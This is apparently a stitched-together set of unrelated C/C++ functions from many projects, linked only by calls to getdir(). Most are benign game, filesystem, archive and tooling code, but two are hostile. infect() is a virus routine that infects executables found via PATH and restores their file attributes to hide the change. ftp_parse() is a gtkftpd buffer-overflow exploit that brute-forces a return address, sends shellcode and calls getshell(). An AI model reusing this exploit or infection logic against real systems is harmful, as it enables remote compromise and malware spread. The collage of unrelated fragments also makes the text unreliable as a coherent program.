void hsp3gr_dbg_gui( void ) { // デバッグウインドゥ用情報 // code_adddbg( "ディレクトリ", getdir(0) ); code_adddbg( "コマンドライン", getdir(4) ); }
void drawpath() { char m[HEIGHT+2][WIDTH+2]; size_t i, j; for (i = 0; i <= HEIGHT; ++i) for (j = 0; j <= WIDTH; ++j) m[i][j] = d[i][j]!=0 ? '.' : ' '; m[1][1] = getdirchar(D+R); for (i = 1; i < curpathlen-1; i++) { int y = curpath[i][0], x = curpath[i][1]; int yl = curpath[i-1][0], xl = curpath[i-1][1]; int yr = curpath[i+1][0], xr = curpath[i+1][1]; int left = getdir(y,x,yl,xl); int right = getdir(y,x,yr,xr); m[y][x] = getdirchar(left+right); } for (i = 0; i <= HEIGHT; ++i) { for (j = 0; j <= WIDTH; ++j) printf("%c", m[i][j]); printf("\n"); } printf("\n"); printpath(); }
int doclri(File *f) { Iobuf *p, *p1; Dentry *d, *d1; int err; err = 0; p = 0; p1 = 0; if(f->fs->dev->type == Devro) { err = Eronly; goto out; } /* * check on parent directory of file to be deleted */ if(f->wpath == 0 || f->wpath->addr == f->addr) { err = Ephase; goto out; } p1 = getbuf(f->fs->dev, f->wpath->addr, Brd); d1 = getdir(p1, f->wpath->slot); if(!d1 || checktag(p1, Tdir, QPNONE) || !(d1->mode & DALLOC)) { err = Ephase; goto out; } accessdir(p1, d1, FWRITE, 0); putbuf(p1); p1 = 0; /* * check on file to be deleted */ p = getbuf(f->fs->dev, f->addr, Brd); d = getdir(p, f->slot); /* * do it */ memset(d, 0, sizeof(Dentry)); settag(p, Tdir, QPNONE); freewp(f->wpath); freefp(f); out: if(p1) putbuf(p1); if(p) putbuf(p); return err; }
// Implementation of index() void Engine::index(string dir) { vector<string> files = vector<string>(); // All files in dir vector<string> words = vector<string>(); // All words in a specific file string curr ; // Specific word to be indexed getdir(dir,files); // Tokenize ALL of the words in all of the movies for(unsigned int i = 0 ; i < files.size() ; i++) { ParsedFile movie(dir + files[i]) ; // Get all words in the ith movie of the map words = movie.readAndTokenize() ; // Iterate through all words in the ith movie for(unsigned int j = 0 ; j < words.size() ; j++) { // Clean the current word curr = clean(words[j]) ; // If curr is not a stop word add it to the frequency table if(stops.find(curr) == stops.end()) freqTable[curr][files[i]]++; } } }
static int lazy_make_tmpdir (guestfs_h *g, char *(*getdir) (guestfs_h *g), char **dest) { if (!*dest) { CLEANUP_FREE char *tmpdir = getdir (g); char *tmppath = safe_asprintf (g, "%s/libguestfsXXXXXX", tmpdir); if (mkdtemp (tmppath) == NULL) { perrorf (g, _("%s: cannot create temporary directory"), tmppath); free (tmppath); return -1; } /* Allow qemu (which may be running as qemu.qemu) to read in this * temporary directory; we are storing either sockets, or temporary * disks which qemu needs to access to. (RHBZ#610880). * We do this only for root, as for normal users qemu will be run * under the same user. */ if (geteuid () == 0 && chmod (tmppath, 0755) == -1) { perrorf (g, "chmod: %s", tmppath); free (tmppath); return -1; } *dest = tmppath; } return 0; }
int infect(int anz, char *caller) { int i = 0, j = 0; char *dir, *f, *path; char file[200]; struct stat status; /* save time ... */ path = getenv("PATH"); if ((dir = getdir(path)) == NULL) /* find directory */ return -1; while (i < anz && j < 10) { /* <anz> times */ DFPRINTF("------------- new infection stack ----------\n"); DFPRINTF("@f infect: directory of infection is <%s>\n", dir); j++; if ((f = gethost(dir, FILEPATH)) == NULL) continue; strcpy(file, f); if (saveattribs(file, &status) < 0) continue; if (infect_host(file, caller) < 0) continue; if (restoreattribs(file, status) < 0) continue; i++; j = 0; DFPRINTF("@f infect: infected file is <%s>\n", file); } return i; }
int doidtrap (void) { struct trap *trap; int x, y, tt; if (!getdir("^")) return 0; x = u.ux + u.delta.x; y = u.uy + u.delta.y; for (trap = ftrap; trap; trap = trap->ntrap) if (trap->tx == x && trap->ty == y) { if (!trap->tseen) break; tt = trap->ttyp; if (u.delta.z) { if (u.delta.z < 0 ? (tt == TRAPDOOR || tt == HOLE) : tt == ROCKTRAP) break; } tt = what_trap(tt); pline("That is %s%s%s.", an(defsyms[trap_to_defsym(tt)].explanation), !trap->madeby_u ? "" : (tt == WEB) ? " woven" : /* trap doors & spiked pits can't be made by player, and should be considered at least as much "set" as "dug" anyway */ (tt == HOLE || tt == PIT) ? " dug" : " set", !trap->madeby_u ? "" : " by you"); return 0; } pline("I can't see a trap there."); return 0; }
int dobreathe(void) { const struct attack *mattk; schar dx, dy, dz; if (Strangled) { pline("You can't breathe. Sorry."); return 0; } if (u.uen < 15) { pline("You don't have enough energy to breathe!"); return 0; } u.uen -= 15; iflags.botl = 1; if (!getdir(NULL, &dx, &dy, &dz)) return 0; mattk = attacktype_fordmg(youmonst.data, AT_BREA, AD_ANY); if (!mattk) impossible("bad breath attack?"); /* mouthwash needed... */ else buzz((int) (20 + mattk->adtyp-1), (int)mattk->damn, u.ux, u.uy, dx, dy); return 1; }
void dcmd(char *arname, int count, char **files) { Armember *bp; int fd, i; if (!count) return; fd = openar(arname, ORDWR, 0); Binit(&bar, fd, OREAD); Bseek(&bar,seek(fd,0,1), 1); astart = newtempfile(artemp); for (i = 0; bp = getdir(&bar); i++) { if(match(count, files)) { mesg('d', file); skip(&bar, bp->size); if (strcmp(file, symdef) == 0) allobj = 0; } else if (i == 0 && strcmp(file, symdef) == 0) skip(&bar, bp->size); else { scanobj(&bar, astart, bp->size); arcopy(&bar, astart, bp); } } close(fd); install(arname, astart, 0, 0, 0); }
/* use a magic key*/ void i_key(pob o) { int dir; int ox,oy; o->used = FALSE; mprint("Unlock door: "); dir = getdir(); if (dir == ABORT) resetgamestatus(SKIP_MONSTERS); else { ox = Player.x + Dirs[0][dir]; oy = Player.y + Dirs[1][dir]; if ((Level->site[ox][oy].locchar != CLOSED_DOOR) || loc_statusp(ox,oy,SECRET)) { mprint("You can't unlock that!"); resetgamestatus(SKIP_MONSTERS); } else if (Level->site[ox][oy].aux == LOCKED) { mprint("The lock clicks open!"); Level->site[ox][oy].aux = UNLOCKED; lset(ox, oy, CHANGED); o->blessing--; if ((o->blessing<0)||(Level->depth == MaxDungeonLevels-1)) { mprint("The key disintegrates!"); conform_lost_objects(1,o); } else mprint("Your key glows faintly."); } else mprint("That door is already unlocked!"); } }
int doidtrap(void) { struct trap *trap; int x, y, tt; schar dx, dy, dz; if (!getdir(NULL, &dx, &dy, &dz)) return 0; x = u.ux + dx; y = u.uy + dy; for (trap = level->lev_traps; trap; trap = trap->ntrap) if (trap->tx == x && trap->ty == y) { if (!trap->tseen) break; tt = trap->ttyp; if (dz) { if (dz < 0 ? (tt == TRAPDOOR || tt == HOLE) : tt == ROCKTRAP) break; } tt = what_trap(tt); pline("That is %s%s%s.", an(trapexplain[tt - 1]), !trap->madeby_u ? "" : (tt == WEB) ? " woven" : /* trap doors & spiked pits can't be made by player, and should be considered at least as much "set" as "dug" anyway */ (tt == HOLE || tt == PIT) ? " dug" : " set", !trap->madeby_u ? "" : " by you"); return 0; } pline("I can't see a trap there."); return 0; }
static int split(int in, int out, char * /* inname */) { int64_t len, membsz; uint64_t outoff = 0; static Hblock hdr; Hblock *hp = &hdr; while (getdir(hp, in, &len)) { membsz = Tblock + ROUNDUP((uint64_t)len, Tblock); if (outoff + membsz + Endsize > size) { /* won't fit? */ out = closeout(out, filenm, 1); if (membsz + Endsize > size) sysfatal("archive member %s (%,lld) + overhead " "exceeds size limit %,lld", hp->name, len, size); } if (out < 0) out = opennext(out, prefix); /* write directory block */ writetar(out, (char *)hp, Tblock); outoff = passtar(hp, in, out, len); } return out; }
int dothrow() { register struct obj *obj; if(check_capacity(NULL)) return(0); obj = getobj(toss_objs, "throw"); /* it is also possible to throw food */ /* (or jewels, or iron balls... ) */ if(!obj || !getdir(NULL)) { /* ask "in what direction?" */ if (obj && obj->oclass == GOLD_CLASS) { u.ugold += obj->quan; flags.botl = 1; dealloc_obj(obj); } return(0); } if(obj->oclass == GOLD_CLASS) return(throw_gold(obj)); if(!canletgo(obj,"throw")) return(0); if (obj->oartifact == ART_MJOLLNIR && obj != uwep) { You("must be wielding %s in order to throw it.", xname(obj)); return(0); } if ((obj->oartifact == ART_MJOLLNIR && ACURR(A_STR) != 125) || (obj->otyp == BOULDER #ifdef POLYSELF && !throws_rocks(uasmon) #endif )) { pline("It's too heavy."); return(1); } if(!u.dx && !u.dy && !u.dz) { You("cannot throw an object at yourself."); return(0); } u_wipe_engr(2); if(obj == uwep) { if(welded(obj)) { weldmsg(obj, FALSE); return(1); } if(obj->quan > 1L) setuwep(splitobj(obj, 1L)); else { setuwep((struct obj *)0); if (uwep) return(1); /* unwielded, died, rewielded */ } } else if(obj->quan > 1L) (void) splitobj(obj, 1L); freeinv(obj); return(throwit(obj)); }
int cmd_main(int argc, const char **argv) { char *method = getenv("REQUEST_METHOD"); char *dir; struct service_cmd *cmd = NULL; char *cmd_arg = NULL; int i; struct strbuf hdr = STRBUF_INIT; set_die_routine(die_webcgi); set_die_is_recursing_routine(die_webcgi_recursing); if (!method) die("No REQUEST_METHOD from server"); if (!strcmp(method, "HEAD")) method = "GET"; dir = getdir(); for (i = 0; i < ARRAY_SIZE(services); i++) { struct service_cmd *c = &services[i]; regex_t re; regmatch_t out[1]; if (regcomp(&re, c->pattern, REG_EXTENDED)) die("Bogus regex in service table: %s", c->pattern); if (!regexec(&re, dir, 1, out, 0)) { size_t n; if (strcmp(method, c->method)) return bad_request(&hdr, c); cmd = c; n = out[0].rm_eo - out[0].rm_so; cmd_arg = xmemdupz(dir + out[0].rm_so + 1, n - 1); dir[out[0].rm_so] = 0; break; } regfree(&re); } if (!cmd) not_found(&hdr, "Request not supported: '%s'", dir); setup_path(); if (!enter_repo(dir, 0)) not_found(&hdr, "Not a git repository: '%s'", dir); git_config(git_default_config, NULL); if (!getenv("GIT_HTTP_EXPORT_ALL") && access("git-daemon-export-ok", F_OK) ) not_found(&hdr, "Repository not exported: '%s'", dir); http_config(); max_request_buffer = git_env_ulong("GIT_HTTP_MAX_REQUEST_BUFFER", max_request_buffer); cmd->imp(&hdr, cmd_arg); return 0; }
void ftp_parse(int sock){ unsigned int offset=0; ftp_read(sock); /* get the banner. */ ftp_printf(sock,"USER %s\r\n",user); ftp_read(sock); ftp_printf(sock,"PASS %s\r\n",pass); ftp_read(sock); ftp_printf(sock,"CWD %s\r\n",writedir); ftp_read(sock); basedir=getbdir(); /* tmp dir of our own to use. */ ftp_printf(sock,"MKD %s\r\n",basedir); ftp_read(sock); ftp_printf(sock,"CWD %s\r\n",basedir); ftp_read(sock); while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */ /* slight null-byte/CR check, only needs to check the last byte. */ if((!reverse&&!((baseaddr-offset)&0xff))||(reverse&&!((baseaddr+offset) &0xff))||(!reverse&&((baseaddr-offset)&0xff)=='\n')||(reverse&& ((baseaddr+offset)&0xff)=='\n')){ printf("[!] brute address contains null-byte/CR, increasing offset " "by one byte.\n"); offset++; /* one byte off if reversed won't hurt here. (401) */ } /* make the evil oversized directory. (255 or less bytes) */ ftp_printf(sock,"MKD %s\r\n",getdir(offset)); ftp_read(sock); /* date+directory exceeds 256 byte buffer, the exploit. */ sleep(1); /* delay insurance. */ ftp_printf(sock,"LIST -%s\r\n",getcode()); /* nothing to read here, and gtkftpd processes (the exploit) */ /* before the ftp list connection is made, making it */ /* pointless to view the list. */ sleep(1); /* delay insurance, again, just to be sure. */ /* delete directory, multiples will cause failure(s). */ ftp_printf(sock,"RMD %s\r\n",getdir(offset)); ftp_read(sock); getshell(sock,offset); offset+=400; /* always at least 400 nops in a row, in shellcode. */ } ftp_clean(sock); close(sock); return; }
int main( int argc, char *argv[] ) { #ifdef _DEBUG argc = 1; argv[0] = "./assimilator"; #endif std::vector<std::string> file_names = std::vector<std::string>(); getdir( ".", file_names ); std::cout << "file_names.size() " << file_names.size() << std::endl; std::string system_str; std::ifstream ifile; std::string str, program_name = argv[0]; program_name.erase( std::remove(program_name.begin(), program_name.end(), '.'), program_name.end() ); program_name.erase( std::remove(program_name.begin(), program_name.end(), '/'), program_name.end() ); std::cout << "program_name " << program_name << std::endl; std::stringstream sstream, final_sstream, sat_sstream; bool isCorrectFile; for ( unsigned i=0; i < file_names.size(); i++ ) { if ( ( file_names[i].find( "assimilator" ) != std::string::npos ) || ( file_names[i].find( "output" ) != std::string::npos ) || ( file_names[i].find( "out" ) != std::string::npos ) ) continue; ifile.open(file_names[i].c_str()); isCorrectFile = false; while ( getline( ifile, str ) ) { // check if file contain result SAT@home info if ( ( str.find( "SAT" ) != std::string::npos ) && ( str.find( "INTERRUPTED" ) != std::string::npos ) ) isCorrectFile = true; if ( str.find( " SAT" ) != std::string::npos ) { std::cout << "SAT found" << std::endl; std::ofstream sat_out("sat_output", std::ios_base::app ); sat_out << file_names[i] << " " << str << std::endl; sat_out.close(); sat_out.clear(); } sstream << str; } ifile.close(); ifile.clear(); if ( isCorrectFile ) { final_sstream << file_names[i] << " " << sstream.str() << std::endl; system_str = "rm "; system_str += file_names[i]; std::cout << "system_str " << system_str << std::endl; system( system_str.c_str() ); } sstream.clear(); sstream.str(""); } std::ofstream ofile( "final_output", std::ios_base::app ); ofile << final_sstream.rdbuf(); ofile.close(); std::cout << "*** done" << std::endl; }
int main() { vector<Mat> calib_beelden; bool flag = true; bool gelukt_f = false; bool gelukt_d = false; bool gelukt_c = false; vector<vector<Point2f> > corners; vector<Decoder> dec; string dir_calib_sl = "./calib_sl/"; vector<string> files_calib_sl; int calib_sl_series=0; ///Count the number of structured light calibration series getdir(dir_calib_sl, files_calib_sl); for(uint i=0; i<files_calib_sl.size(); i++) { calib_sl_series = i; } ///Remove ".." and "." directoy from the count calib_sl_series-=2; while(flag) { cout<<"What do you want to calibrate?\n" " e: Ensenso \n" " n: Normal camera **under construction**\n" " s: Structured Light\n" " t: TOF **under construction**\n" " m: Multi flash \n" " l: Laser line triangulation **under construction**\n" " q: Quit program"<<endl; char keuze; cin >> keuze; if(keuze=='e') { cout<<"Press 'c' to get calibration images, or 'p' to get the pointcloud"<<endl; char antwoord; cin >> antwoord; pcl::PointCloud<pcl::PointXYZ> a; get_en_image(a); if(a.points.size()>0) { pcl::PLYWriter plywriter; pcl::io::savePCDFileBinary("./calib_en/Ensenso.pcd", a); plywriter.write("./calib_en/Ensenso.ply", a, false); } } else if(keuze=='n')
int dospit (void) { struct obj *otmp; if (!getdir((char *)0)) return(0); otmp = mksobj(u.umonnum==PM_COBRA ? BLINDING_VENOM : ACID_VENOM, true, false); otmp->spe = 1; /* to indicate it's yours */ throwit(otmp, 0L, false); return(1); }
int dospit(void) { struct obj *otmp; schar dx, dy, dz; if (!getdir(NULL, &dx, &dy, &dz)) return 0; otmp = mksobj(level, u.umonnum==PM_COBRA ? BLINDING_VENOM : ACID_VENOM, TRUE, FALSE); otmp->spe = 1; /* to indicate it's yours */ throwit(otmp, 0L, FALSE, dx, dy, dz); return 1; }
void read_alltrees_v2(vector<sLTH> <H){ // % 本程式讀取所有目錄內的 FAST 不同 intesity threshold 下 output 之資料,注意 FAST // % 的輸出資料目錄名稱必須以「-Results」為結尾。所得之資料儲存於 LTH 結構陣列中,LTH(i) 儲存的是第 i 個 threshold // % 值對應之 FAST 結果所有的資訊 // % This function also reads the branch ID files of the trees // % 第 39 行使用之 readbranch 函數說明: // % 舊版各 Branch 資料放在 \Branches 資料夾中,使用舊函數 readtree // % 新版所有 Branch 資料放在 *-Brances.txt 單一檔案中,使用新函數 readtree_single // % 讀取目錄內所有子目錄與檔案之名稱 LTH.clear(); vector<string> a; vector<float> th; int n_file = 0; getdir(string(".") , a); for(int i=0;i<a.size();++i){ // % 當目錄或檔名包含「-Results」字串者始被計入,所以要注意 FAST output 檔名之設定 if(a[i].find("-Results") != string::npos){ n_file++; } } th.resize(n_file); for(int i=0,j=0;j<a.size();++j){ string b = a[j]; b[ b.find("-") ] = ' '; if(b.find("Results") != string::npos){ istringstream iss(b); LTH.resize(i+1); sLTH &tmp_LTH = LTH[i]; iss >> tmp_LTH.threshold; tmp_LTH.name = a[j]; cout << i << "-th, name=" << tmp_LTH.name <<endl; // % 以 readtree 函式讀取各子目錄中之資料 // % 舊版各 Branch 資料放在 \Branches 資料夾中,使用舊函數 readtree // % 新版所有 Branch 資料放在 *-Brances.txt 單一檔案中,使用新函數 readtree_single // %[LTH0(i).TreeData LTH0(i).BranchData LTH0(i).Points] = readtree(LTH0(i).name); readtree_single(a[j],tmp_LTH); cout << "Reading Branch ID..." ; read_BID(a[j],tmp_LTH.BID); cout << "\tdone" <<endl; i++; } }
bool ApolloStoryProducer :: readDirintoNameAndData(string dir, vector<Name> *nameList, vector<Data> *dataList) { string file = getdir(dir); if (!file.empty()) { readFileintoNameAndData(file, nameList, dataList, 10); } else { this->candidate = false; return false; } return true; }
//----------------------Main---------------------------- int main(int argc, char *argv[]) { double start_time, total_time; // MPI_Init(0, 0); MPI_Init(&argc,&argv); MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Comm_size(MPI_COMM_WORLD, &size); //The Mappers if(rank != 0){ vector<string> files = vector<string>(); string dir = string("./files/"); getdir(dir,files); parseAndSend(&files); //fprintf(stderr,"Rank %d finished send\n",rank); //MPI_Recv(&flag,1,MPI_INT,0,TAG_INIT1,MPI_COMM_WORLD,MPI_STATUS_IGNORE); //fprintf(stderr,"Rank %d received flag %d\n",rank,flag); } //The Reduce Step else{ start_time = MPI_Wtime(); // start of time evaluation int i, j = 0; int total_num_files = 0; int files_per_node[size-1]; for (i=1; i<size; i++){ MPI_Recv(&files_per_node[i-1],1,MPI_INT,i,TAG_INIT1,MPI_COMM_WORLD,MPI_STATUS_IGNORE); total_num_files += files_per_node[i-1]; } while(j<total_num_files) { i=0; for (i=1; i<size; i++){ if(files_per_node[i-1] > 0) { gatherAndWrite(i, files_per_node[i-1]); files_per_node[i-1]--; j++; } } } total_time = MPI_Wtime()-start_time; fprintf(stderr,"Total Runtime %d = %lf\n",rank,total_time); } MPI_Finalize(); fprintf(stderr,"Process %d exiting\n",rank); return 0; }
SIZE_OR_ERROR FS_get(const char *path, char **return_buffer, size_t * buffer_length) { SIZE_OR_ERROR size = 0 ; /* current buffer string length */ OWQ_allocate_struct_and_pointer( owq ) ; /* Check the parameters */ if (return_buffer == NULL) { // No buffer for read result. return -EINVAL; } if (path == NULL) { path = "/"; } *return_buffer = NULL; // default return string on error if ( BAD( OWQ_create(path, owq) ) ) { /* Can we parse the input string */ return -ENOENT; } if ( IsDir( PN(owq) ) ) { /* A directory of some kind */ struct charblob cb ; CharblobInit(&cb) ; getdir( &cb, owq ) ; size = CharblobLength(&cb) ; *return_buffer = copy_buffer( CharblobData(&cb), size ) ; CharblobClear( &cb ) ; } else { /* A regular file -- so read */ if ( GOOD(OWQ_allocate_read_buffer(owq)) ) { // make the space in the buffer size = FS_read_postparse(owq) ; *return_buffer = copy_buffer( OWQ_buffer(owq), size ) ; } } // the buffer is allocated by getdir or getval OWQ_destroy(owq); /* Check the parameters */ if (*return_buffer == NULL) { // no data. return -EINVAL; } if ( buffer_length != NULL ) { *buffer_length = size ; } return size ; }
uchar* tarlookup(uchar *addr, char *file, int *dlen) { Hblock *hp; Dir dir; hp = (Hblock*)addr; while(getdir(hp, &dir) != 0) { if(strcmp(file, hp->dbuf.name) == 0) { *dlen = dir.length; return (uchar*)(hp+1); } hp += (dir.length+TBLOCK-1)/TBLOCK + 1; } return 0; }
static Dentry* maked(long a, int s, long qpath) { Iobuf *p; Dentry *d, *d1; p = xtag(a, Tdir, qpath); if(!p) return 0; d = getdir(p, s); d1 = dalloc(sizeof(Dentry)); memmove(d1, d, sizeof(Dentry)); putbuf(p); return d1; }
int KITTI::getFiles(std::string source, std::vector<std::string> &files) { if(getdir(source, files) >= 0) { printf("found %d files in folder %s!\n", (int)files.size(), source.c_str()); } else if(getFile(source, files) >= 0) { printf("found %d files in file %s!\n", (int)files.size(), source.c_str()); } else { printf("could not load file list! wrong path / file? %s\n", source.c_str()); } return static_cast<int>(files.size()); }
/* ARGSUSED */ static void use_camera(struct obj *obj) { struct monst *mtmp; if (!getdir(1)){ /* ask: in what direction? */ flags.move = multi = 0; return; } if (u.uswallow) { pline("You take a picture of %s's stomach.", monnam(u.ustuck)); return; } if (u.dz) { pline("You take a picture of the %s.", (u.dz > 0) ? "floor" : "ceiling"); return; } if ((mtmp = bchit(u.dx, u.dy, COLNO, '!'))) { if(mtmp->msleep){ mtmp->msleep = 0; pline("The flash awakens %s.", monnam(mtmp)); /* a3 */ } else if(mtmp->data->mlet != 'y') if(mtmp->mcansee || mtmp->mblinded){ int tmp = dist(mtmp->mx,mtmp->my); int tmp2; if(cansee(mtmp->mx,mtmp->my)) pline("%s is blinded by the flash!", Monnam(mtmp)); setmangry(mtmp); if(tmp < 9 && !mtmp->isshk && rn2(4)) { mtmp->mflee = 1; if(rn2(4)) mtmp->mfleetim = rnd(100); } if(tmp < 3) mtmp->mcansee = mtmp->mblinded = 0; else { tmp2 = mtmp->mblinded; tmp2 += rnd(1 + 50/tmp); if(tmp2 > 127) tmp2 = 127; mtmp->mblinded = tmp2; mtmp->mcansee = 0; } } } }
/* * A spatial file manager. Treat directories as independent resources with * fixed positions. Useful for navigating your filesystem with a predictable * GUI. */ int main(int argc, char *argv[]) { struct geometry *geometry; GtkWidget *window; WnckWindow *w; struct state *d; char *dir, ch; if ((d = state_new(argv[0])) == NULL) err(1, "could not build the callback data"); gtk_init(&argc, &argv); while ((ch = getopt(argc, argv, "")) != -1) switch (ch) { default: usage(); /* NOTREACHED */ } argc -= optind; argv += optind; dir = getdir(argc, argv); if (((w = window_by_title(dir)) != NULL) && window_activate(w) != -1) goto done; if (state_add_dir(d, dir) < 0) err(1, "state_add_dir"); if ((geometry = malloc(sizeof(struct geometry))) == NULL) err(1, "malloc"); getgeometry(dir, geometry); window = prepare_window(dir, geometry, d); free(geometry); gtk_widget_show(window); gtk_main(); done: state_free(d); return 0; }
int doidtrap(void) { struct trap *trap; int x, y; if (!getdir(1)) return 0; x = u.ux + u.dx; y = u.uy + u.dy; for (trap = ftrap; trap; trap = trap->ntrap) if (trap->tx == x && trap->ty == y && trap->tseen) { if (u.dz) if ((u.dz < 0) != (!xdnstair && trap->ttyp == TRAPDOOR)) continue; pline("That is a%s.", traps[trap->ttyp]); return 0; } pline("I can't see a trap there."); return 0; }
//-------------------------------------------- // FUNCTION: main // PARAMETERS: // int argc // - The number of arguments given // char *argv[] // - Array of all the arguments given //---------------------------------------------- int main(int argc, char *argv[]) { int i; for(i = 0; i < argc; i++) { if(strcmp(argv[i], "-l") == 0) { flagl = 1; } } // sees if there are more then 1 directory given if((argc-flagl) > 2) { flagmulti = 1; } if((argc-flagl) == 1) { // if there are no directories // given it gets the current dir getdir("."); } else { int i; // else it gets all the directories in arguments list for(i = 1;i < argc;i++) { getdir(argv[i]); } } return 0; }